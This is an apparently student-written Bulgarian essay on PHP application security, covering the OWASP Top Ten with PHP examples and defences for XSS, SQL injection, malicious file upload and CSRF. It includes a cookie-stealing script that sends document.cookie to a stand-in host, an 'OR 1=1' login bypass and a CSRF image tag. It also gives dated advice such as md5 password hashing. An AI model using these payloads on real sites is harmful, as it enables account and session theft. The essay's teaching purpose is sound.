Икономически университет – Варна                       център „Магистърско обучение”                         РЕФЕРАТ      ...
Въведение ...................................................................................................................
4. Cross-Site Request Forgery (CSRF) ............................................................... 23       4.1. Пример ...
Въведение          Изключителната гъвкавост при разработването на динамични уебприложения, която PHP 1 предлага, го прави ...
I. Най-често срещани атаки при уеб приложенията      Open Web Application Security Project (OWASP) е организация снестопан...
който се изпълнява атаката, се смята от потребителя за надежден, всичкиклиентски скриптове на него се изпълняват, включите...
Когато други потребители посетят страницата, където това съдържание          се визуализира, те стават жертва на атаката. ...
SQL инжекции са възможни при изпълнение на SQL заявки, които секонструират динамично, на база на данни въведени от потреби...
Пример от реалния свят за подобна атака е SQL инжекцията, атакуваласайта на MySQL9 през март тази година, в резултат на ко...
файл. Това е често срещан метод за организация на кода в уеб приложенията,целяща да се избегне дублирането на програмен ко...
информация. Това придизвикало смут и огромен скандал в Австралия.Въпреки, че подобен тип пропуск в сигурността е често сре...
поради факта че се стартира индиректно от самия сайт, на който потребителясе доверява и за който е вече автентициран. Този...
7. Broken Authentication and Session Management  Автентикацията и управлението на потребителските сесии са критиченелемент...
 Разкриване на потребителски имена. Често паролата се приема        като единствен механизъм за достъп до потребителските...
(най-често SSL) трябва да се използва за всички автентицирани конекции,особенно за уеб страници, но и за сървърни конекции...
II. Атаките при PHP приложенията и предпазване от тях  1. Cross-Site Scripting (XSS)  Не случайно XSS атаките са най-разпр...
<script type="text/javascript">         document.location =             http://evil.code.com/steal.php +              ?coo...
2. SQL Injection  SQL инжекциите са втората най-разпространена атака при уеб приложе-нията, но специално при PHP те са мож...
SQL заявката ще изглежда по подобен начин:     SELECT COUNT(id) FROM users WHERE     username=myuser OR 1=1 –- AND     pas...
3. Malicious File Execution  Неправомерното изпълнение на файлове е една от най-сериозните заплахиза уеб приложенията, тъй...
Този скрипт проверява дали типа на качения файл е изображение и акотова е така, файлът се записва в папката pictures на съ...
позволяват наличието на коментари във файловете. Възможно е да се създадеизображение, което да има коментари, съдържащи PH...
4. Cross-Site Request Forgery (CSRF)  Този тип атака може да засегне всякакви уеб приложения и не еспецифичен за PHP. При ...
Ако атакуващият знае формата на заявката, чрез която автентициранпотребител може да направи покупка, то за да извърши атак...
III. Софтуер за тестване сигурността на PHP приложения       Тъй като PHP е широко разпространен език и PHP приложенията с...
3. PIXY  PIXY е инструмент, написан на Java, предназначен за откриване науязвимости от XSS атаки и SQL инжекции. Инструмен...
Използвана литература1. Шифлет, Крис. Основи на PHP сигурността. O’Reilly, 2005.2. Secure file upload in PHP web applicati...
Upcoming SlideShare
Loading in …5
×

PHP Security

4,266 views

Published on

Сигурност на PHP уеб приложения.

Published in: Education, Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
4,266
On SlideShare
0
From Embeds
0
Number of Embeds
9
Actions
Shares
0
Downloads
54
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

PHP Security

  1. 1. Икономически университет – Варна център „Магистърско обучение” РЕФЕРАТ на тема Сигурност на PHP приложенияИзготвил: Проверил:Пламена Маринова, ф.н. 9175 Доц. д-р Стефан Дражев51 гр. спец. Информатика СС гр. Варна, 2011
  2. 2. Въведение ................................................................................................................. 4I. Най-често срещани атаки при уеб приложенията ....................................... 5 1. Cross Site Scripting (XSS) ............................................................................... 5 2. SQL Injection .................................................................................................... 7 3. Malicious File Execution .................................................................................. 9 4. Insecure Direct Object Reference ................................................................... 10 5. Cross-Site Request Forgery ............................................................................ 11 6. Information Leakage and Improper Error Handling....................................... 12 7. Broken Authentication and Session Management .......................................... 13 8. Insecure Cryptographic Storage...................................................................... 14 9. Insecure Communications............................................................................... 14 10. Failure to Restrict URL Access ................................................................... 15II. Атаките при PHP приложенията и предпазване от тях .......................... 16 1. Cross-Site Scripting (XSS) ............................................................................. 16 1.1. Пример ..................................................................................................... 16 1.2. Пре дпазване ........................................................................................... 17 2. SQL Injection .................................................................................................. 18 2.1. Пример ..................................................................................................... 18 2.2. Предпазване ............................................................................................ 19 3. Malicious File Execution ................................................................................ 20 3.1. Пример ..................................................................................................... 20 3.2. Предпазване ............................................................................................ 22 2
  3. 3. 4. Cross-Site Request Forgery (CSRF) ............................................................... 23 4.1. Пример ..................................................................................................... 23 4.2. Предпазване ............................................................................................ 24III. Софтуер за тестване сигурността на PHP приложения ......................... 25 1. PHP Security Scanner ..................................................................................... 25 2. Spike PHP Security Audit............................................................................... 25 3. PIXY ............................................................................................................... 26Заключение ............................................................................................................ 26 3
  4. 4. Въведение Изключителната гъвкавост при разработването на динамични уебприложения, която PHP 1 предлага, го прави един от най-разпространенитеезици за уеб програмиране днес. За популярността на PHP допринася илесната му интеграция с други нструменти с отворен код, като системата зауправление на бази от данни MySQL и уеб сървъра Apache. С популярносттана езика нараства броя на уеб приложенията написани на PHP и възниквавъпросът за сигурността на тези приложения. Именно гъвкавостта, която прави PHP толкова разпространен език, епричината повечето неопитни разработчици да допускат грешки, които водятдо пробиви в сигурността. PHP е динамичен език, който позволява напрограмистите лесно да постигат решаването на проблеми, които биха билизначително по-трудни за реализиране с езици като C# или Java 2 . Заедно спредимствата обаче, тази гъвкавост има и недостатъци, които се изразяватнай-вече в липса на механизми контролиращи сигурността. Проблемът съссигурността на PHP приложенията е оставен изцяло в ръцете наразработчиците, което често води до пропуски, особено при начинаещитетакива. Всеки пропуск в сигурността рано или късно излага приложението назлонамерни атаки, някои от които могат да окажат успешни. Тук ще разгледаме най-често срещаните атаки, които застрашават уебприложенията, как тези атаки се осъществяват при PHP сайтовете и какразработчиците могат да ги предпазят от тях.1 PHP – PHP: Hypertext Preprocessor, скриптов сървърен език за програмиране2 C#, Java – обектно-ориентирани езици за програмиране, които са строго типизирани 4
  5. 5. I. Най-често срещани атаки при уеб приложенията Open Web Application Security Project (OWASP) е организация снестопанска цел, представляваща отворена общност, която се стреми даподпомогне разработчиците при създаването на сигурни уеб приложения.Един от проектите на организацията, OWASP Top Ten, е посветен на атакитекомпрометиращи сигурността при уеб приложенията и дефинира 10-те най-разпространени от тях. Следват 10-те най често срещани атаки при уебприложения за 2010 година според класацията на OWASP. 1. Cross Site Scripting (XSS) Cross Site Scripting, oще известна като XSS3, е най-разпространеният видатака към уеб приложения. Тя се състои във вмъкване и изпълнение назлонамерен код в иначе надежден сайт. При XSS атаките, атакуващиятизпраща злонамерен код на други потребители, като се възползва от пробив всигурността на сайтове, които те използват. Обикновено такива пробиви седължат на липсата на валидация 4 и филтриране 5 на входните данни наприложението, които постъпват чрез уеб форми попълнени от потребителяили под формата на параметри в клиентските заявки (URL параметри). XSS атаките могат да доведат до изпълнение на злонамерен код отбраузъра на потребител, който не подозира за атаката. Тъй като сайтът, чрез3 Tъй като абревиатурата CSS е широко разпространена и се използва за каскадни стилове (Cascading StyleSheets), за да не възниква объркване, aбревиатурата на Cross Site Scripting е XSS.4 Валидация на данни – проверка за съответствие на данните с определени критерии и ограничения.5 Филтриране на данни – „изчистване” на данните от определени специални символи, например премахванена HTML тагове от текст, който се визуализира в уеб страница и др. 5
  6. 6. който се изпълнява атаката, се смята от потребителя за надежден, всичкиклиентски скриптове на него се изпълняват, включително и злонамерените. Злонамереното съдържание е най-често под формата на JavaScript 6 код,чието действие обикновено се изразява в достъп до „чувствителни” данни,като сесийна информация, бисквитки, пароли и др., или препращане нажертвата към друг сайт, контролиран от атакуващия. XSS атаките се делят на три основни вида:  Non-persistent (Reflected) Този тип XSS атака е възможна при сайтове, в които входни данни предоставени от уеб клиента (най-често под формата на параметри в HTTP заявка), се визуализират директно в браузъра на потребителя. Атаката се осъществява чрез специално подготвен линк, който се възползва от пропуска в сигурността на сайта. Атакуващият изпраща линка на жертвата (чрез e-mail например), като го „маскира”, така че да изглежда, като нормална препратка към сайт. Тъй като потребителят има доверие на сайта, той отваря линка и става жертва на атаката.  Persistent (Stored) Този тип XSS атака е възможна при сайтове, в които данни предоставени от потребителя се съхраняват на сървъра и се използват за генериране на динамично съдържание, без да се валидират или филтрират. Атакуващият се представя за редовен потребител на сайта и изпраща злонамерено съдържание, което се съхранява на сървъра.6 JavaScript – скриптов език за програмиране, най-често използван за динамична обработка на уеб страници 6
  7. 7. Когато други потребители посетят страницата, където това съдържание се визуализира, те стават жертва на атаката. Атаки от този тип са най- често срещани в приложения, които позволяват на потребителите да изпращат коментари към съдържанието на страниците. Вместо стандартен коментар, атакуващият изпраща код, който при липса на валидация се изпълнява за всички потребители, които видят коментара. Този тип атаки са и по-мощни, тъй като достигат до всички потребители, които отворят компрометираната уеб страница.  DOM Based По-рядко се срещат DOM7 базираните атаки, които се изпълняват изцяло от страна на клиента. Те са възможни, когато JavaScript код използва директно данни от DOM обекти. Типичен пример за това е код, който използва данните от URL адреса достъпни чрез document.location без да ги валидира. 2. SQL Injection На второ място сред уязвимостите на уеб приложения се нарежда SQLInjection атаката. Тя се състои във вмъкване и изпълнение на SQL8 заявка,чрез манипулиране входните данни на приложението. Успешна SQLинжекция може да доведе до разкриване на „чувствителна” информация отбазата данни, модифициране на данните в базата – добавяне, промяна,изтриване на данни и др.7 DOM – Document Object Model, конвенция за представяне и взаимодействие с обекти в HTML, XHTML, XML документи8 SQL – Structured Query Language, език за дефиниране на заявки към релационни бази от данни. 7
  8. 8. SQL инжекции са възможни при изпълнение на SQL заявки, които секонструират динамично, на база на данни въведени от потребителя. Когатовъведените данни се използват директно, без да се валидират, е налицесериозен пропуск в сигурността, от който атакуващият може да се възползва. Последствията от осъществяване на успешна атака чрез SQL инжекциямогат да бъдат много сериозни, като основните от тях са:  Неправомерен достъп до поверителни данни Най-често целта на подобни атаки е разкриване на поверителна информация за потребителите на сайта, като данните им за достъп, лични данни и др. Разкриването на данните за достъп, като пароли и потребителски имена, може да компрометира и сигурността на други сайтове, тъй като потребителите често имат навика да ги използват за достъп до няколко приложения едновременно.  Неправомерна автентикация и оторизация Ако SQL командите за проверка на данните и правата за достъп на потребителите не са защитени, чрез SQL инжекция, атакуващият може да получи достъп до системата от името на друг потребител или да получи достъп до ресурси, за които няма права.  Неправомерна модификация на данни Освен до прочитане на поверителни данни, SQL инжекциите могат да доведат и до тяхното модифициране, включително и изтриване. При успешна подобна атака, атакуващият е сподобен да изтрие цялото съдържание в базата от данни на приложението. 8
  9. 9. Пример от реалния свят за подобна атака е SQL инжекцията, атакуваласайта на MySQL9 през март тази година, в резултат на която атакуващият еполучил достъп до потребителските акаунти и пароли. Неправомернопридобитите данни са били публикувани, като те включвали и разбитипароли на ключови фигури в компанията. 3. Malicious File Execution Третата най-разпространена атака при уеб приложенията е неправо-мерното изпълнение на файлове със злонамерено съдържание. Подобна атакае възможна при сайтове, които включват файлове, чието име се генерирадинамично или директно използват файлове предоставени от потребителя,без да проверят тяхното съдържание. Последствията от подобен тип атакимогат да бъдат всевъзможни, тъй като атакуващият може да включи всякаквосъдържание във файла, който използва за атаката. Най-често уязвими са сайтове, които позволяват на потребителя дасъхранява файлове на уеб сървъра, като изображения, документи и др.Пропуск в сигурността имат тези сайтове, в които при изпращане на файл отпотребителя не се извършва проверка за неговия тип. Това позволява наатакуващия да изпрати изпълними файлове, които могат да изпълнятзлонамерен код на сървъра. Тази атака е особено опасна, акокомпрометираният сайт използва споделен хостинг, тъй като атакуващиятможе да я използва, за да атакува други приложения. Друг метод за реализиране на подобна атака засяга сайтове, при които всъдържанието на дадена уеб страница се включва и изпълнява код от друг9 MySQL – широко разпространена система за управление на бази от данни (СУБД) 9
  10. 10. файл. Това е често срещан метод за организация на кода в уеб приложенията,целяща да се избегне дублирането на програмен код. Когато името на файла,който се включва се генерира динамично и при това се използват даннипредоставени от клиента, приложението става уязвимо, тъй като атакуващиятможе да включи и изпълни друг файл. 4. Insecure Direct Object Reference Такъв вид пропуск в сигурността се получава, когато разработчиците насистемата по погрешка предоставят достъп до вътрешен за системата ресурс,примерно файл, директория, запис от база от данни или секретен ключ, катопараметър на форма или URL. Тогава е възможно да се организира атака,чрез манипулиране на тази референция. При това може да се получи достъпдо иначе защитени ресурси без автектикация. Примерно, при приложенията за Интернет банкиране е често срещано дасе използва номера на сметката като първичен ключ в базата данни наприложението. Често освен това този номер на сметката се използва директнов уеб интерфейса на системата. Дори и да се използват параметризирани SQLзаявки за предотвратяване на SQL инжекция, ако не е предвидена проверкадали текущият потребител е собственик на заявената сметка и е ауторизиранда я достъпи, може да се състави атака, която да достъпи или промени всичкибанкови сметки. Подобен тип атака е организирана срещу сайта на австралийската данъчнаслужба през 2000г. Тогава легитимен потребител променял номера набанковата сметка в URL-те на приложението. При това той успял да извлече17 000 банкови сметки на най-различни компании. След това той разпратилна всяка една от тези компании електронна поща с извлечената за нея 10
  11. 11. информация. Това придизвикало смут и огромен скандал в Австралия.Въпреки, че подобен тип пропуск в сигурността е често срещан, той често еподминаван от разработчиците. 5. Cross-Site Request Forgery Това е вид атака, при която потребител на уеб приложение се принуждавада изпълни нежелани действия с приложението от свое име. За тази цел напотребителя се предоставя страница, съдържаща предварително подготвеназаявка към приложението. Тази заявка е естествено скрита от потребителя итой я зарежда без да подозира за реалното ѝ действие. Тъй като потребителяте автентициран, по този начин заявката се изпълнява от негово име. По тозиначин е възможно потребителят, без да е наясно, да изпълни действия, коитоне желае. Пример за подобни действия са: промяна на паролата напотребителя или неговия e-mail адрес, закупуване на стока и др. Подобен тип атака може да се използва още за достъп до поверителнаинформация. При заявка към сайт, браузърите автоматично включват къмзаявките поверителна информация, свързана със сайта, като сесийнабисквитка (session cookie), некриптирани автентикационни параметри, IPадрес и др. Ето защо, ако потребителят е вече автентициран за сайта,действията изпълнени от него са напълно легитимни за този сайт. Понякога евъзможно подобен вид атака да бъде съхранена на самият сайт. Това сеосъществява чрез съхраняване на елемент от тип IMG или IFRAME в поле,приемащо HTML като текст. Възможно е да се постигне и чрез XSS атака.При това при визуализиране на стойността на това поле, HTML съдържаниетов него се изпълнява и на практика инициира атаката. Това прави атаката по-мощна, както поради факта че може да бъде изпълнена многократно, така и 11
  12. 12. поради факта че се стартира индиректно от самия сайт, на който потребителясе доверява и за който е вече автентициран. Този тип атака е по-често срещан.Този вид атаки са известни под множество имена, сред които: XSRF, "SeaSurf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Те сенаричат още One-Click attack в терминологията на Microsoft документацията. 6. Information Leakage and Improper Error Handling Този тип пропуск в сигурността се дефинира като изтичане на информацияи неправилна обработка на грешки. Приложенията могат, без да имат такованамерение, да издадат информация, засягаща тяхната конфигурация,вътрешна информация или да нарушат поверителността на данните си, приредица програмни грешки. Често тази информация може да бъде използваназа създаване на атаки към тези приложения. В процеса на работата си, приложенията генерират съобщения за грешка,които впоследствие се показват на потребителите им. Тези съобщения могатда бъдат полезни на зложелатели, ако разкриват информация, която може дасе използва за атака. Най-често такъв вид информация е:  Визуализиране на съобщение за грешка, съдържащо информация като: стек на изпълнение на изключение, грешка в SQL изрази или друга информация, необходима на разработчика.  Функции, които генерират различни резултати, на база на различен вход. Като пример може да се посочи функция за автентикация с потребителско име, която трябва да генерира един и същи текст за грешка, както при сгрешено потребителско име, така и при сгрешена парола. 12
  13. 13. 7. Broken Authentication and Session Management Автентикацията и управлението на потребителските сесии са критиченелемент в сигурността на едно уеб приложение. Често потребители на сайтовестават жертва на атака, поради не добре реализиран механизъм за управлениена достъпа до приложението. Атакуващият се възползва от пропуските в тозимеханизъм, в резултат на което може да получи достъп до приложението отимето на друг потребител и да извърши неправомерни действия. Подобни пропуски в сигурността се дължат най-вече на слаби механизмиза управление на достъпа. В повечето уеб приложения, той се осъществявасамо чрез потребителско име и парола, поради което приложенията ставатуязвими, ако данните за достъп бъдат разкрити. Сред причните за това са:  Следене на трафика между потребителя и приложението. Когато потребителят се идентифицира и данните му за достъп (потребителско име и парола) се изпращат към приложението в некриптиран вид, е възможно атакуващият да се сдобие с тях, ако следи трафика между тях.  Разкриване на пароли с „груба сила”. Ако механизмът за идентифициране на потребителите не налага ограничение на броя невалидни опити за логин, то тогава е възможно чрез изреждане на различни възможности да се открие потребителската парола.  Несигурно съхранение на данните. Данните за достъп са уязвими не само когато се изпращат към сървъра в некриптиран вид, но и когато се съхраняват в некриптиран вид. Ако съдържанието на базата от данни се разкрие неправомерно, чрез SQL инжекция например, то и данните за достъп ще бъдат разкрити. 13
  14. 14.  Разкриване на потребителски имена. Често паролата се приема като единствен механизъм за достъп до потребителските акаунти, но реално достъпът се осъществява чрез комбинация от потребителско име и парола. Чест пропуск в сигурността на приложенията е разкриването на потребителски имена, който улеснява атакуващият при разкриване на данните за достъп. 8. Insecure Cryptographic Storage Защитата на поверителна информация с помощта на криптография еключов елемент на повечето уеб приложения. Голям брой от приложениятане успяват да криптират тази информация. Сред проблемите тук се явяватнеправилен криптографски дизайн, неефикасни шифри или грешки приизползването на добри такива. Тези пропуски могат да доведат до изтичане натази информация и от там до сериозни проблеми.  Най-често срещаните пропуски тук са:  Липса на шифриране на поверителна информация;  Използване на собствено-ръчно написани алгоритми;  Несигурно използване на добри алгоритми;  Използване на доказано слаби алгоритми (MD5, SHA-1 и др.) ;  Ключове въведени в програмния код или съхранени в некриптиран вид. 9. Insecure Communications Приложенията често не успяват да осигурят криптиран мрежов трафик,когато е необходимо да се защитят поверителни комуникации. Криптиране 14
  15. 15. (най-често SSL) трябва да се използва за всички автентицирани конекции,особенно за уеб страници, но и за сървърни конекции освен това. В противенслучай информация за автентикация или сесия ще бъдат публично достъпни имогат да бъдат прихванати. В допълнение, криптиране трябва да се използватам, където поверителна информация, като номер на кредитна карта илиздравна информация, се предава. 10. Failure to Restrict URL Access Голям пропуск в сигурността на много уеб приложения е наличието настраници, чиято единствена защита е „скриването” им от редовнитепотребители. Предполага се, че такива страници са достъпни само запотребители, които знаят за тяхното съществуване, т.е. знаят техния адрес.Въпреки че вероятността атакуващият да открие подобни страници е малка,това е напълно възможно, ако той е достатъчно мотивиран, опитен или простоима късмет. 15
  16. 16. II. Атаките при PHP приложенията и предпазване от тях 1. Cross-Site Scripting (XSS) Не случайно XSS атаките са най-разпространеният тип. Те засягат уебприложения на всякакви платформи, като PHP приложенията са особеноуязвими. Често срещана грешка, която може да доведе до XSS атака енеправилното директното използване на данни въвеждани от потребителя. 1.1. Пример Ако в примерно уеб приложение на потребителя се позволява давъвежда коментари чрез следната форма: <form action="comment.php" method="POST"> Име: <input type="text" name="name" /> Коментар: <textarea name="comment"></textarea> <input type="submit" value="Добави коментара" /> </form> И кодът, който визуализира коментарите изглежда така: <?php echo "<div class=comment> echo " <p>$name написа:</p>"; echo " <blockquote>$comment</blockquote>"; echp "</div>"; ?> Подобно приложение би било уязвимо, тъй като съдържанието напроменливите $name и $comment не се филтрира, за да се избегнеизпълнението на злонамерен код, като този: 16
  17. 17. <script type="text/javascript"> document.location = http://evil.code.com/steal.php + ?cookies= + document.cookie; </script> Изпълнението на подобен код може да предостави на атакуващияинформацията от бисквитките на всеки потребител, който отвори страницатас коментара. В бисквитките често се съдържа поверителна информация, коятоидентифицира потребителя. 1.2. Пре дпазване Предпазването от подобен тип атаки се осъществява лесно и най-вечезависи от добрите навици на програмистите. Атаката е възможна само приприложения, които директно използват входни данни, без да ги обработват.Ето защо за предотвратяването ѝ е достатъчно входните данни да севалидират, а изходните – да се филтрират. Най-лесно в PHP това може да сепостигне чрез функцията htmlentities, която превръща всички специалниHTML символи в техните съкращения, така че те не се третират като HTMLкод и не се изпълняват. <?php $name = htmlentities($name); $comment = htmlentities($comment); … ?> Ако всички входни данни се обработят правилно, преди да се визуализиратпри клиента, то сайтът е предпазен от вмъкване на злонамерен код по тозиначин. 17
  18. 18. 2. SQL Injection SQL инжекциите са втората най-разпространена атака при уеб приложе-нията, но специално при PHP те са може би на първо място. Причината затова е начинът, който най-често се използва за конструиране на SQL заявки. 2.1. Пример Ако в примерно уеб приложение се използва следната форма, чрезкоято потребителите се логват в приложението: <form action="login.php" method="POST"> Потребител: <input type="text" name="username" /> Парола: <input type="text" name="password" /> <input type="submit" value="Вход" /> </form> И кодът, който конструира заявка, проверяваща дали въведените данниотговарят на валиден потребителски акаунт, е следния: <?php $username = $_POST[username]; $password = md5($_POST[password]); $sql = "SELECT COUNT(id) FROM users WHERE "; $sql.= "username=$username AND password=$password"; ?> Подобно приложение е уязвимо, тъй като въведеното потребителскоиме се използва директно в заявката и ако вместо валидно потребителско име,атакуващият въведе следното: 18
  19. 19. SQL заявката ще изглежда по подобен начин: SELECT COUNT(id) FROM users WHERE username=myuser OR 1=1 –- AND password=a029d0df84eb5549c641e04a9ef389e5; Подобна заявка може да позволи на атакуващият да получипотребителски достъп до приложението, без да предоставя валиднипотребителски данни. Ако атакуващият знае и потребителското име на някойот акаунтите, то тогава е възможно да получи достъп от името на тозипотребител, като замени „myuser” с името. 2.2. Предпазване Предпазването от SQL инжекция е също толкова лесно, колкото и приXSS атаките и се основава на правилото – всички входни данни да сеобработват преди да се използват. За целта при конструирането на SQLзаявки, в които трябва да участват параметри, предоставени от потребителя,трябва да се премахнат всички специални символи, които могат да сеинтерпретират при нейното изпълнение. Такива символи са кавички,апострофи, точка и запетая и др. За MySQL може да се използва функциятаmysql_real_escape_string: <?php $username = mysql_real_escape_string($_POST[username]); $password = md5($_POST[password]); … ?> Ако всички данни се филтрират по подобен начин, приложението нямакак да бъде уязвимо от такъв тип атака. 19
  20. 20. 3. Malicious File Execution Неправомерното изпълнение на файлове е една от най-сериозните заплахиза уеб приложенията, тъй като тя дава на атакуващия голяма свобода и почтинеограничени възможности за злоупотреба. Атаката най-често се осъществявапри приложения, които предлагат на потребителите възможност за качване нафайлове на сървъра. Слабото място на много PHP приложения е именноскриптът за качване на файлове. 3.1. Пример Нека вземем за пример приложение, в което чрез следната формапотребителят може да качи някакво изображение в jpg формат: <form action="upload.php" method="POST" enctype="multipart/form-data"> Изберете изображение: <input type="file" name="picture" /> <input type="submit" value="Качване" /> </form> Скриптът, който проверява и записва изображението е следния: <?php $picture = $_FILES[picture]; $filename = "pictures/" . basename($picture[name]); if($picture[type] != "image/jpg") { echo "Невалиден формат! Моля, опитайте отново."; exit; } else { move_uploaded_file($picture[tmp_name],$filename); } ?> 20
  21. 21. Този скрипт проверява дали типа на качения файл е изображение и акотова е така, файлът се записва в папката pictures на сървъра. Много PHPскриптове разчитат на подобен вид проверка, но за съжаление тя е несигурна,тъй като типа, по който се проверява се взима от content-type в заглавната частна HTTP заявката. Тази информация може лесно да се манипулира, така че дасе изпрати заявкa, която реално изпраща .php файл, но като тип насъдържанието да се зададе image/jpg, какъвто сървърът очаква. Ако подобназаявка е успешна, то атакуващият може да напише злонамерен PHP скрипт, даго качи на сървъра и да го изпълни. Друг метод за разпознаване на изображения, който често се среща вPHP приложенията е чрез функцията getimagesize, която връща типа иразмера на дадено изображение. Ако файлът, който се провети с getimagesize,не е изображение, то типа и размера няма да бъдат валидни стойности: <?php $picture = $_FILES[picture]; $picture_info = getimagesize($picture[tmp_name]); $filename = "pictures/" . basename($picture[name]); if($picture_info[type] != "image/jpg") { echo "Невалиден формат! Моля, опитайте отново."; exit; } else { move_uploaded_file($picture[tmp_name],$filename); } ?> За съжаление подобна проверка само прави атаката малко по-сложна.Причината за това е, че един файл може да бъде едновременно валидноизображение и PHP скрипт, тъй като повечето формати за изображения 21
  22. 22. позволяват наличието на коментари във файловете. Възможно е да се създадеизображение, което да има коментари, съдържащи PHP код. Когато подобенфайл се тества с getimagesize, той се смята за валиден. Когато се изпълни, PHPинтерпретаторът ще пропусне съдържанието на изображението, но щеизпълни всеки код в PHP тагове. 3.2. Предпазване Каквито и проверки да се направят, пак съществува възможност в тяхда има пропуск, който да позволи на атакуващият да качи и изпълни файл съсзлонамерено съдържание. Решението на проблема е просто. Ако атакуващиятняма достъп до качените файлове, то той няма как да изпълни злонамерениякод. В горния пример атаката е възможна, тъй като качените файлове могатда се изпълнят чрез подобна заявка: http://www.example.org/pictures/evil_script.php Качените файлове са достъпни за всеки, тъй като папката, в която сезаписват се намира в публичната директория на сървъра. За да сепредотвратят подобен тип атаки, се препоръчва всички файлове, които секачват от потребители, да се съхраняват извън публичната директория, т.е. дасе ограничи достъпа до тях. Като допълнителна мярка за сигурност, можевсички файлове да се преименуват при тяхното качване, така че атакуващиятда не знае какво име е получил качения от него файл. <?php $picture = $_FILES[picture]; $picture_info = getimagesize($picture[tmp_name]); $filename = "../pictures/" . time() . ".jpg"); … ?> 22
  23. 23. 4. Cross-Site Request Forgery (CSRF) Този тип атака може да засегне всякакви уеб приложения и не еспецифичен за PHP. При CSRF атакуващият прави така, че авторизиранпотребител на приложене неволно да изпълни заявка от свое име. 4.1. Пример Нека вземем за пример електронен магазин, в който чрез следнатаформа може да е изпрати заявка за закупуване на химикали или моливи: <form action="buy.php" method="POST"> Артикул: <select name="product"><option>pen</option> <option>pencil</option></select> Количество: <input type="text" name="quantity" /> <input type="submit" value="Поръчай" /> </form> Ако кодът, който обработва данните от формата е подобен: <?php // проверка за автентициран потребител … $item = $_REQUEST[item]; $quantity = $_REQUEST[quantity]); if(is_valid($item) && is_valid($quantity)) buy_item($item, $quantity); ?> Тъй като се използва супер глобалната променлива $_REQUEST,същата заявка може да се осъществи и чрез метода GET: http://store.example.org/buy.php?item=pen&quantity=1 23
  24. 24. Ако атакуващият знае формата на заявката, чрез която автентициранпотребител може да направи покупка, то за да извърши атаката, е достатъчнода накара потребителя да посети подобен линк, без неговото знание. Товаможе да стане и индиректно чрез използване на изображение, например: <img src="http://store.example.org/buy.php ?item=pen&quantity=50" /> Ако потребителят посети страница с подобно изображение, тонеправомерната заявка ще се изпълни от негово име, а той дори няма даразбере за това. 4.2. Предпазване Първата стъпка към предпазване от подобен тип атаки е използването на$_POST променливата вместо $_REQUEST. В $_REQUEST съдържат всичкипараметри от заявката, незвисимо с кой метод са изпратени (GET или POST).Използването на $_POST няма да премахне напълно опасността от атака, ноще направи по-трудно изпълнението на заявката от страна на потребителя,тъй като няма да може да се използва GET заявка, както в горния пример. Като втора стъпка може да се предприеме използването на токен 10 код,който е уникален за потребителската сесия. Ако кодът се включва предиизпращането на заявката и се проверява за съвпадение при нейнотообработване, то риска значително намалява. <?php session_start(); if($_POST[token]==$_SESSION[token]) // валидна заявка ?>10 От англ. token 24
  25. 25. III. Софтуер за тестване сигурността на PHP приложения Тъй като PHP е широко разпространен език и PHP приложенията саособено уязвими към най-често срещаните атаки, за да се подпомогнатразработчиците съществуват инструмени, чрез които приложенията могатавтоматично да се тестват за пробиви в сигурността. Такива са PHP SecurityScanner11, Spike PHP Security Audit12, PIXY13 и др. 1. PHP Security Scanner PHP Security Scanner е безплатен инструмент, изцяло написан на PHP,който при посочване на файл или директория с PHP скриптове, сканиратяхното съдържание за евентуални проблеми със сигурността. Търсенето сеосъществява чрез шаблони за уязвим код, с които скриптовете се сравняват.Когато подобно съвпадение бъде намерено, инструментът дава информацияза това къде се намира открития проблем и описание на проблема.Недостатък на инструмента е, че не е лесен за използване, инсталацията иконфигурацията стават на ръка, работи се с команден интерфейс. 2. Spike PHP Security Audit Spike PHP Security Audit е друг безплатен инструмент, написан на PHP.При посочване на файл или директория за проверка, той генерира отчет вHTML формат, който лесно може да се прегледа. Предимството му пред PHPSecurity Scanner е, че се използва значително по-лесно. Необходимо еединствено да се разархивира на сървъра и да се изпълни файла run.php,който извършва сканирането за уязвимости.11 http://sourceforge.net/projects/securityscanner/12 http://sourceforge.net/projects/phpsecaudit/13 http://pixybox.seclab.tuwien.ac.at/pixy/ 25
  26. 26. 3. PIXY PIXY е инструмент, написан на Java, предназначен за откриване науязвимости от XSS атаки и SQL инжекции. Инструментът приема като входPHP скрипт и генерира отчет, в който са включени и описани възможнитеслаби места в сигурността. За съжаление PIXY поддържа само PHP4 код,което го прави полезен само за стари приложения. Заключение Въпреки че могат да бъдат полезни, подобни инструменти не садостатъчни, за да се прецени дали едно PHP приложение е сигурно. Много отуязвимостите към описаните атаки не могат да бъдат открити автоматично.Ето защо, от най-голямо значение за сигурността на едно уеб приложение саопита и добрите навици на програмистите. 26
  27. 27. Използвана литература1. Шифлет, Крис. Основи на PHP сигурността. O’Reilly, 2005.2. Secure file upload in PHP web applications. http://www.scanit.be/uploads/php-file-upload.pdf.3. OWASP Top 10 – 2010. The ten most critical web application security risks. http://owasptop10.googlecode.com/files/OWASP Top 10 - 2010.pdf.4. SQL Injection Attacks by Example. http://unixwiz.net/techtips/sql-injection.html.5. PHP and the OWASP Top Ten Security Vulnerabilites. http://www.sklar.com/page/article/owasp-top-ten.6. PHP Security Manual. http://us3.php.net/manual/en/security.php.7. Cross Site Scripting (XSS) Cheat Sheet. http://ha.ckers.org/xss.html.8. Improving web application security: threats and countermeasures. http://www.cgisecurity.com/lib/Threats_Countermeasures.pdf.9. PHP Security Guide. http://shiflett.org/php-security.pdf.10.A Guide to Building Secure Web Applications and Services. http://prdownloads.sourceforge.net/owasp/OWASPGuide2.0.1.pdf. 27

×